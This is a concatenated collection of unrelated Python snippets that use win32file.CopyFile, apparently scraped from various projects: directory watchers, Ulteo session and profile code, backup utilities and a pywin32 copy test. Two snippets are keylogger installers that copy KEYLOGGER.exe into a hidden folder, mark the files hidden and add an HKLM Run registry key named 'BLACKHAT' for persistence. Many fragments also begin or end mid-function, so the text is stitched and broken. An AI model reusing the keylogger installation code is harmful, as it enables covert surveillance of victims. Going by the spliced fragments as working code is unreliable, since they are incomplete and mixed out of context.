def get_code_str(ie6, imgVerifior):
body = ie6.getBody()
nodesImg = getSubNodesByTag(body, "img")
codeImgElement = getNodeByAttr(nodesImg, 'id', 'code_img')
codeUrl = codeImgElement.__getattr__('src')
cachInfo = win32inet.GetUrlCacheEntryInfo(codeUrl)
code = 'bbbb'
if cachInfo:
pathSrc = cachInfo['LocalFileName']
print 'pathSrc:', pathSrc
srcPathInfo = pathSrc.split('\\')
srcName = srcPathInfo[-1]
print 'srcName:', srcName
pathinfo = codeUrl.split('/')
filename = pathinfo[-1]
if filename[-4:-1] != srcName[-4:-1]:
filename = srcName
pathDest = os.path.join('c:\\temp\\', filename)
if os.path.isfile(pathDest):
os.remove(pathDest)
win32file.CopyFile(pathSrc, pathDest, True)
code = get_code_str_from_image(pathDest, imgVerifior)
else:
code = 'aaaa'
print code
return code
def dirWatcherWorker(dir_to_watch, tag, log_filename, path_to_sync_log):
handle_to_Dir = win32file.CreateFile(
dir_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ
| win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None,
win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None)
while 1:
#
# ReadDirectoryChangesW takes a previously-created
# handle to a directory, a buffer size for results,
# a flag to indicate whether to watch subtrees and
# a filter of what changes to notify.
results = win32file.ReadDirectoryChangesW(
handle_to_Dir, 1024, False, win32con.FILE_NOTIFY_CHANGE_FILE_NAME,
None, None)
print "events! " + str(len(results))
new_log_present = len([
i for i in results
if i[0] == ACTIONS["Renamed to something"] and i[1] == log_filename
]) > 0
if new_log_present:
fromPath = os.path.join(dir_to_watch, log_filename)
print "new log present!" + fromPath
now = "{:.0f}".format(
time.time()
) # likely to cause concurrency bug, if the time is set back in the host system
toPath = os.path.join(path_to_sync_log, now + "_" + tag + ".log")
print "copying to " + toPath
win32file.CopyFile(fromPath, toPath, 1)
def CopyFile(inputfile, outputfile):
if os.path.isfile(outputfile):
return
print inputfile, "=>", outputfile
win32file.CopyFile(inputfile, outputfile, 1)
if os.path.isfile(outputfile): print "Success"
def copyFile(src, dest):
try:
destDir = os.path.dirname(dest)
if not os.path.exists(destDir):
os.makedirs(destDir)
win32file.CopyFile(src, dest, 0)
pmsg('copy file %s to %s' % (src, dest))
except Exception, e:
pmsg(e)
def copy_file(dest: str, fn: str, year: str, created_at: datetime.datetime):
dirname = os.path.join(dest, year)
if not os.path.isdir(dirname):
os.mkdir(dirname)
_, name = os.path.split(fn)
target = os.path.join(dirname, name)
win32file.CopyFile(fn, target, False)
changeFileCreationTime(target, created_at)
def synchronize(self, path): if self.version > 6.1: self.defaultProgram = shell.SHGetFolderPath(0, shellcon.CSIDL_COMMON_PROGRAMS, 0, 0) desktopLNKFile = os.path.join(self.windowsProgramsDir, "desktop.lnk") try: if not os.path.exists(desktopLNKFile): win32file.CopyFile(os.path.join(self.defaultProgram,"desktop.lnk"), desktopLNKFile, True) except Exception, e: print "Failed to copy file: ", str(e)
def copySessionStop(self):
# etre sur que le type est logoff !
d = shell.SHGetFolderPath(0, shellcon.CSIDL_COMMON_APPDATA, 0, 0)
profile_tmp_dir = os.path.join(d, "ulteo", "profile",
self.session.user.name)
profile_tmp_dir = System.local_encode(profile_tmp_dir)
profile_filter = System.local_encode(Config.profile_filters_filename)
d = os.path.join(self.mountPoint,
"conf.Windows.%s" % System.getWindowsVersionName())
trial = 5
while not os.path.exists(d):
try:
os.makedirs(d)
except OSError:
trial -= 1
if trial == 0:
Logger.exception("Failed to create directory %s" % d)
return False
time.sleep(random.randint(1, 10) / 100.0)
Logger.debug2(
"conf.Windows mkdir failed (concurrent access because of more than one ApS)"
)
continue
# Copy user registry
src = os.path.join(self.session.windowsProfileDir, "NTUSER.DAT")
dst = os.path.join(d, "NTUSER.DAT")
if os.path.exists(src):
try:
win32file.CopyFile(src, dst, False)
except:
Logger.error("Unable to copy registry to profile")
else:
Logger.warn("Weird: no NTUSER.DAT in user home dir ...")
# Copy configuration File
if self.profile['profile_mode'] == 'standard':
cmd = self.getRsyncMethod(Profile.toCygPath(profile_tmp_dir),
Profile.toCygPath(d),
Profile.toCygPath(profile_filter))
Logger.debug("rsync cmd '%s'" % (cmd))
p = System.execute(cmd)
if p.returncode is not 0:
Logger.error("Unable to copy conf to profile")
Logger.debug(
"Unable to copy conf to profile, cmd '%s' return %d: %s" %
(cmd, p.returncode, p.stdout.read()))
if os.path.exists(profile_tmp_dir):
System.DeleteDirectory(profile_tmp_dir)
def saveScript(savePath):
try:
curframe = inspect.currentframe()
outframes = inspect.getouterframes(curframe)
origPath = outframes[1][1]
win32file.CopyFile(origPath, savePath, 1)
if not os.path.isfile(savePath): raise IOError('Saving Script Failed')
except pywintypes.error:
print(
"Attempted to save script over existing file. Choose another path."
)
def writeProxy(self):
tmpFile = file("ptmp.txt", "w+")
numP = len(self.proxySet)
randomInt = getRandomIntSet( numP )
for idx in randomInt:
if idx>=0 and idx<numP:
proxy = self.proxySet[idx]
line = proxy[0] + " " + str(proxy[1]) + "\r\n"
tmpFile.write(line)
else:
logging.error("proxy random error: " + str(idx))
tmpFile.close()
uFile = self.proxyFile
win32file.DeleteFile(uFile)
win32file.CopyFile(u"ptmp.txt", uFile, False)
def copydb(source, srcpath, target, tgtpath):
print " COPY: (%s)%s -> (%s)%s" % (source, srcpath, target, tgtpath)
srcfile = '\\\\' + source + '\\' + srcpath[0] + "$" + srcpath[2:]
tgtfile = '\\\\' + target + '\\' + tgtpath[0] + "$" + tgtpath[
2:] + '\\' + srcpath[srcpath.rfind('\\') + 1:]
try:
win32file.CopyFile(srcfile, tgtfile, 0)
except:
print " ! Unable to copy %s -> %s" % (srcfile, tgtfile)
return False
return True
def installToStartMenu(self, shortcut, deleteOnClose = True): shortcut = Platform.toUnicode(shortcut) dstFile = os.path.join(self.windowsProgramsDir, os.path.basename(shortcut)) if os.path.exists(dstFile): os.remove(dstFile) try: win32file.CopyFile(shortcut, dstFile, True) if deleteOnClose: Platform.deleteOnclose(dstFile) except pywintypes.error, err: if err[0] == 5: # Access is denied print "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"%(shortcut, dstFile) else: # other error print "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"%(shortcut, dstFile, err[0])
def installToDesktop(self, shortcut): shortcut = Platform.toUnicode(shortcut) if not os.path.exists(self.windowsDesktopDir): os.makedirs(self.windowsDesktopDir) dstFile = os.path.join(self.windowsDesktopDir, os.path.basename(shortcut)) if os.path.exists(dstFile): os.remove(dstFile) try: win32file.CopyFile(shortcut, dstFile, True) Platform.deleteOnclose(dstFile) except pywintypes.error, err: if err[0] == 5: # Access is denied print "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"%(shortcut, dstFile) return # other error print "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"%(shortcut, dstFile, err[0]) return
def writeUrlConfig(self):
try:
wb = xlwt.Workbook()
sheet = wb.add_sheet('sheet 1')
for row_index in range(len(self.baobeiSet)):
baobei = self.baobeiSet[row_index]
num = baobei[0]-1
url = baobei[1]
sheet.write(row_index,0,num)
sheet.write(row_index,1,url)
sheet.col(1).width = 3333*8
filePath = "UrlConfig_backup.xls"
wb.save(filePath)
win32file.DeleteFile(u"UrlConfig.xls")
win32file.CopyFile(u"UrlConfig_backup.xls", u"UrlConfig.xls", False)
except:
logging.error("UrlConfig_backup.xls write error!")
traceStr = traceback.format_exc()
logging.error(traceStr)
def start(self):
for url in self.__urls:
try:
self.__ie.Navigate(url)
self.__wait__()
cachInfo = win32inet.GetUrlCacheEntryInfo(url)
if cachInfo:
pathSrc = cachInfo['LocalFileName']
srcPathInfo = pathSrc.split('\\')
srcName = srcPathInfo[-1]
pathinfo = url.split('/')
filename = pathinfo[-1]
if filename[-4:-1] != srcName[-4:-1]:
filename = srcName
win32file.CopyFile(pathSrc,
os.path.join(self.__dir, filename),
True)
except:
print 'Get Image Error: ', url
a = 0
def install_shortcut(self, shortcut):
if self.mode != Session.MODE_DESKTOP:
return
self.installedShortcut.append(os.path.basename(shortcut))
dstFile = os.path.join(self.windowsProgramsDir,
os.path.basename(shortcut))
if os.path.exists(dstFile):
os.remove(dstFile)
try:
win32file.CopyFile(shortcut, dstFile, True)
except pywintypes.error, err:
if err[0] == 5: # Access is denied
Logger.error(
"Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
% (shortcut, dstFile))
else:
# other error
Logger.error(
"Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
% (shortcut, dstFile, err[0]))
def main():
input('Make sure you have run photo-hashing & video-hashing scripts before continue... Go?')
results = []
phashes = []
vhashes = []
file_num = 0
with open(PHOTOS, 'r', encoding='UTF-8') as f:
for line in f:
if line[0] == '#':
continue
phashes.append(line.rstrip())
with open(VIDEOS, 'r', encoding='UTF-8') as f:
for line in f:
if line[0] == '#':
continue
vhashes.append(line.rstrip())
for root, dirs, fnames in os.walk(SRCDIR):
for file in fnames:
file_num = file_num + 1
fpath = os.path.join(root, file)
fhash = hash_sha256(fpath)
print('File ' + file + ' hash: ' + fhash)
if fhash in phashes or fhash in vhashes:
continue
else:
results.append(file)
if len(results) == 0:
print('Congratulations! No missing file is found.')
else:
input('Files in total: ' + str(file_num) + '. Found missing files: ' + str(len(results)) + '. Continue?')
for r in results:
print('Copying ' + r + "... ", end='')
win32file.CopyFile(SRCDIR + '\\' + r, PIPELINE + '\\' + r, 0)
print('Done')
input('Done.')
while True:
# result = return value form waitfor... [ for infinite time until there were updates in the handle-path ]
# result gets 0 if the return was because of a change-event. (otherwise it is an exception or some other error)
result = win32event.WaitForMultipleObjects(
stop_handles, 0, win32event.INFINITE
) # -> (handles, wait for one(0) / wait for all(1), event for one - infinte time)
if result == win32con.WAIT_OBJECT_0: # ( if result == 0 ) 0 is the first handle in the []
# after = os.listdir(path)
after = walk(path)
added = [f for f in after if not f in before]
if len(added) != 0:
print "Added: ", ", ".join(added)
for i in added:
if i[-4:] == '.png' or i[-4:] == '.jpg' or i[
-4:] == '.bmp' or i[-4:] == '.ico' or i[
-4:] == '.gif': # or whatever other format :)
win32file.CopyFile(
i, 'D:\\Elik\\HW_Golan\\PICS\\New folder\\' +
i.rsplit('\\', 1)[1], False)
print "copied: ", ", ".join(added)
before = after
win32file.FindNextChangeNotification(
changeHandle
) # same as FindFirst... but with an already existing handle
elif result == win32con.WAIT_OBJECT_0 + 1: #( if result == 1 ) 1 is the first handle in the []
break
win32file.FindCloseChangeNotification(changeHandle)
print '++++++++++++++++++++++++\r\nstopped'
continue
path_src = os.path.join(src, f)
path_dst = os.path.join(dst, f)
if os.path.isdir(path_src):
copyDirOverride(path_src, path_dst, exception)
else:
if f.startswith("UsrClass.dat"):
continue
attr = None
if os.path.exists(path_dst):
attr = win32file.GetFileAttributes(path_dst)
os.remove(path_dst)
try:
win32file.CopyFile(path_src, path_dst, False)
except:
pass
try:
if attr is not None:
win32file.SetFileAttributes(path_dst, attr)
except:
#print "Unable to setAttribute of",path_dst
pass
def get_from_PATH(name):
try:
env_var = os.environ["PATH"]
except KeyError:
return None
def copy():
win32file.CopyFile(orig_file, copy_file, 1)
win32file.CopyFile(orig_file, copy_file, 0)
win32file.CopyFile(orig_file, copy_file, 1)
if os.path.isfile(copy_file): print "Success"
import os
import win32file
import tempfile
filename1 = tempfile.mktemp(".txt")
open(filename1, "w").close()
filename2 = filename1 + ".copy"
print filename1, "=>", filename2
#
# Do a straight copy first, then try to copy without
# failing on collision, then try to copy and fail on
# collision. The first two should succeed; the third
# should fail.
#
win32file.CopyFile(filename1, filename2, 1)
win32file.CopyFile(filename1, filename2, 0)
win32file.CopyFile(filename1, filename2, 1)
if os.path.isfile(filename2): print "Success"
dirname1 = tempfile.mktemp(".dir")
os.mkdir(dirname1)
dirname2 = dirname1 + ".copy"
print dirname1, "=>", dirname2
#
# The CopyFile functionality doesn't seem to cope
# with directories.
#
win32file.CopyFile(dirname1, dirname2, 1)
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform, stat
import pythoncom, pyHook, win32api, win32gui, win32con, smtplib, string, win32file
import _winreg as wreg
if os.path.exists("PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER"):
pass
else:
os.makedirs("PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER")
if os.path.exists(
'PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER\\NAME_OF_YOUR_KEYLOGGER_FILE.exe'
):
pass
else:
win32file.CopyFile(
'NAME_OF_YOUR_KEYLOGGER_FILE.exe',
'PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER\\NAME_OF_YOUR_KEYLOGGER_FILE.exe',
1)
# IF YOUR PATH IS LIKE: C:\\FOLDER1\\FOLDER2\\FOLDER3\\KEYLOGGER.EXE THEN CHANGE SETTIGNS BELOW LIKE:
win32api.SetFileAttributes(
'C:\\FOLDER1\\FOLDER2\\FOLDER3\\\NAME_OF_YOUR_KEYLOGGER_FILE.exe',
win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1\\FOLDER2\\FOLDER3',
win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1\\FOLDER2',
win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1', win32con.FILE_ATTRIBUTE_HIDDEN)
if os.path.exists('PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER'
) and platform.architecture() == ('64bit', 'WindowsPE'):
while not os.path.exists(d):
try:
os.makedirs(d)
except OSError, err:
Logger.debug2(
"conf.Windows mkdir failed (concurrent access because of more than one ApS) => %s"
% (str(err)))
continue
# Copy user registry
src = os.path.join(self.session.windowsProfileDir, "NTUSER.DAT")
dst = os.path.join(d, "NTUSER.DAT")
if os.path.exists(src):
try:
win32file.CopyFile(src, dst, False)
except:
Logger.error("Unable to copy registry to profile")
else:
Logger.warn("Weird: no NTUSER.DAT in user home dir ...")
# Copy AppData
src = self.session.appDataDir
dst = os.path.join(d, "AppData")
try:
Util.copyDirOverride(
src, dst,
["Protect", "Start Menu", "Crypto", "ulteo", "Identities"])
except Exception, err:
Logger.error("Unable to copy appData to profile " + src + " " +
dst)
productCode_s,
link,
publishedDate_s,
doneDate_s,
principal_s,
reduceDays_s,
productId_s,
))
print iso_current_time(), 'productId exist, updating %d row' % i
else:
sql = "insert into product_transfer_list(productId,productCode,link,publishedDate,doneDate,principal,reduceDays) values((?),(?),(?),(?),(?),(?),(?))"
cursor.execute(sql,
(productId_s, productCode_s, link, publishedDate_s,
doneDate_s, principal_s, reduceDays_s))
print iso_current_time(), 'Inserting %d row' % i
i = i + 1
cursor.close()
conn.commit()
conn.close()
filepath = os.getcwd() + "\\result\\lufax.db"
targetfilepath = os.getcwd() + "\\result\\lufax" + str_current_time(
) + ".db"
win32file.CopyFile(filepath, targetfilepath, 1)
print "copy a db to review."
print iso_current_time(), 'please wait 5 minutes'
time.sleep(300)
def remote_Save(target, remote_target):
bFailIfExists = 0
for backups in os.listdir(target):
if backups[-3:].lower() == 'zip':
win32file.CopyFile(target+'\\'+backups, remote_target+'\\'+backups, bFailIfExists)
args = parser.parse_args(sys.argv[1:])
inputFilenameComplete = ' '.join(args.f).replace('"', '')
inputFilenameName, inputFilenameExtension = os.path.splitext(
inputFilenameComplete)
loc = re.search(r'\d{4}-\d{2}-\d{2}', inputFilenameComplete)
##opts, args = getopt.getopt(argv,"d:f:")
##opts, args = getopt.getopt(sys.argv[1:],"hd:f:o:",["ifile=","ofile="])
#opts, args = getopt.getopt(sys.argv[1:],"d:f:")
#for opt,arg in opts:
# if opt == '-d':
# d = arg
## if opt == '-f':
## arg2 = re.sub('"', '', arg)
## inputFilename, inputFilenameExtension = os.path.splitext(arg)
## outputFilename = inputFilename + ' ' + today + inputFilenameExtension
inputDate = datetime.datetime.strptime(loc.group(0), '%Y-%m-%d')
outputDate = inputDate + datetime.timedelta(days=1)
outputFilenameDate = outputDate.strftime('%Y-%m-%d')
outputFilenameComplete = inputFilenameName[
0:loc.start(0)] + outputFilenameDate + inputFilenameExtension
win32file.CopyFile(inputFilenameComplete, outputFilenameComplete, 1)
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib, string, win32file
import _winreg as wreg
if os.path.exists("PATH_TO_HIDDEN_KEYLOGGER_LOCATION"):
pass
else:
os.mkdir("PATH_TO_HIDDEN_KEYLOGGER_LOCATION")
win32api.SetFileAttributes('PATH_TO_HIDDEN_KEYLOGGER_LOCATION',
win32con.FILE_ATTRIBUTE_HIDDEN)
if os.path.exists('PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe'):
pass
else:
win32file.CopyFile('KEYLOGGER.exe',
'PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe', 1)
if os.path.exists('PATH_TO_HIDDEN_KEYLOGGER_LOCATION'
) and platform.architecture() == ('64bit', 'WindowsPE'):
key = wreg.CreateKey(
wreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
wreg.SetValueEx(key, 'BLACKHAT', 1, wreg.REG_SZ,
'"PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe"')
key.Close()
else:
key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
wreg.SetValueEx(key, 'BLACKHAT', 1, wreg.REG_SZ,
'"PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe"')
key.Close()
class Session(AbstractSession):
def init(self):
self.installedShortcut = []
self.succefully_initialized = False
def install_client(self):
logon = win32security.LogonUser(
self.user.name, None, self.user.infos["password"],
win32security.LOGON32_LOGON_INTERACTIVE,
win32security.LOGON32_PROVIDER_DEFAULT)
data = {}
data["UserName"] = self.user.name
hkey = win32profile.LoadUserProfile(logon, data)
self.windowsProfileDir = win32profile.GetUserProfileDirectory(logon)
self.windowsProgramsDir = shell.SHGetFolderPath(
0, shellcon.CSIDL_PROGRAMS, logon, 0)
Logger.debug("startmenu: %s" % (self.windowsProgramsDir))
# remove default startmenu
if os.path.exists(self.windowsProgramsDir):
Platform.System.DeleteDirectory(self.windowsProgramsDir)
os.makedirs(self.windowsProgramsDir)
self.windowsDesktopDir = shell.SHGetFolderPath(
0, shellcon.CSIDL_DESKTOPDIRECTORY, logon, 0)
self.appDataDir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA,
logon, 0)
self.localAppDataDir = shell.SHGetFolderPath(
0, shellcon.CSIDL_LOCAL_APPDATA, logon, 0)
Logger.debug("localAppdata: '%s'" % (self.localAppDataDir))
Logger.debug("appdata: '%s'" % (self.appDataDir))
win32profile.UnloadUserProfile(logon, hkey)
win32api.CloseHandle(logon)
self.set_user_profile_directories(self.windowsProfileDir,
self.appDataDir)
self.init_user_session_dir(
os.path.join(self.appDataDir, "ulteo", "ovd"))
if self.profile is not None and self.profile.hasProfile():
if not self.profile.mount():
return False
self.profile.copySessionStart()
if self.profile is not None and self.profile.mountPoint is not None:
d = os.path.join(self.profile.mountPoint, self.profile.DesktopDir)
self.cleanupShortcut(d)
self.install_desktop_shortcuts()
self.overwriteDefaultRegistry(self.windowsProfileDir)
if self.profile is not None and self.profile.hasProfile():
self.profile.umount()
self.succefully_initialized = True
return True
def set_user_profile_directories(self, userprofile, appDataDir):
self.user.home = userprofile
self.appDataDir = appDataDir
def install_shortcut(self, shortcut):
if self.mode != Session.MODE_DESKTOP:
return
self.installedShortcut.append(os.path.basename(shortcut))
dstFile = os.path.join(self.windowsProgramsDir,
os.path.basename(shortcut))
if os.path.exists(dstFile):
os.remove(dstFile)
try:
win32file.CopyFile(shortcut, dstFile, True)
except pywintypes.error, err:
if err[0] == 5: # Access is denied
Logger.error(
"Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
% (shortcut, dstFile))
else:
# other error
Logger.error(
"Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
% (shortcut, dstFile, err[0]))
if self.parameters.has_key(
"desktop_icons") and self.parameters["desktop_icons"] == "1":
if self.profile is not None and self.profile.mountPoint is not None:
d = os.path.join(self.profile.mountPoint,
self.profile.DesktopDir)
else:
d = self.windowsDesktopDir
if not os.path.exists(self.windowsDesktopDir):
os.makedirs(self.windowsDesktopDir)
dstFile = os.path.join(d, os.path.basename(shortcut))
if os.path.exists(dstFile):
os.remove(dstFile)
try:
win32file.CopyFile(shortcut, dstFile, True)
except pywintypes.error, err:
if err[0] == 5: # Access is denied
Logger.error(
"Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
% (shortcut, dstFile))
return
# other error
Logger.error(
"Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
% (shortcut, dstFile, err[0]))
return
def copy_dir_win(srcdir, desdir):
try:
win32file.CopyFile(srcdir, desdir, 0)
except Exception, ex:
print ex
